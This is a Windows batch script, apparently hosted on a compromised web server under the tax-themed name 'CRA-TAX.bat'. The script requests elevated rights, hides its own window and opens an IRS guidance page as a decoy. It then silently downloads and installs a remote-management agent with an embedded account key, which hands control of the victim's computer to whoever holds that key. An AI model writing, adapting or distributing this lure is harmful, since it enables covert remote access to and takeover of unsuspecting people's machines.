File: /home/contexpert/public_html/CRA-TAX.bat
@echo off
:: ============================================================
:: Level.io Agent Installer
:: Requires administrator privileges to install MSI packages
:: ============================================================
:: Check if running as administrator
net session >nul 2>&1
if %errorlevel% neq 0 (
:: Not elevated — relaunch this script with elevated privileges (hidden)
powershell -NoProfile -ExecutionPolicy Bypass -Command "Start-Process '%~f0' -Verb RunAs -WindowStyle Hidden"
exit /b
)
:: Hide this CMD window
powershell -NoProfile -ExecutionPolicy Bypass -Command "$window = (Get-Host).UI.RawUI; $window.WindowTitle = 'Installing...'; Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"Kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); [DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);'; $hwnd = [Console.Window]::GetConsoleWindow(); [Console.Window]::ShowWindow($hwnd, 0)"
echo Installing Level.io agent...
:: Open Level.io website in default browser
start https://www.irs.gov/privacy-disclosure/tax-code-regulations-and-official-guidance
:: Download and silently install the Level.io MSI with the provided API key
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command ^
"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;" ^
"$tempFile = Join-Path $env:TEMP 'level.msi';" ^
"$ProgressPreference = 'SilentlyContinue';" ^
"Write-Host 'Downloading Level.io agent...';" ^
"Invoke-WebRequest -Uri 'https://downloads.level.io/level.msi' -OutFile $tempFile;" ^
"Write-Host 'Running installer...';" ^
"Start-Process msiexec.exe -Wait -ArgumentList \"/i `\"$tempFile`\" LEVEL_API_KEY=RW4tRem5xmgpG1YmZaZXk6Ym /qn\";" ^
"Write-Host 'Installation complete.'"
:: Keep script running silently until done
timeout /t 2 /nobreak >nul
exit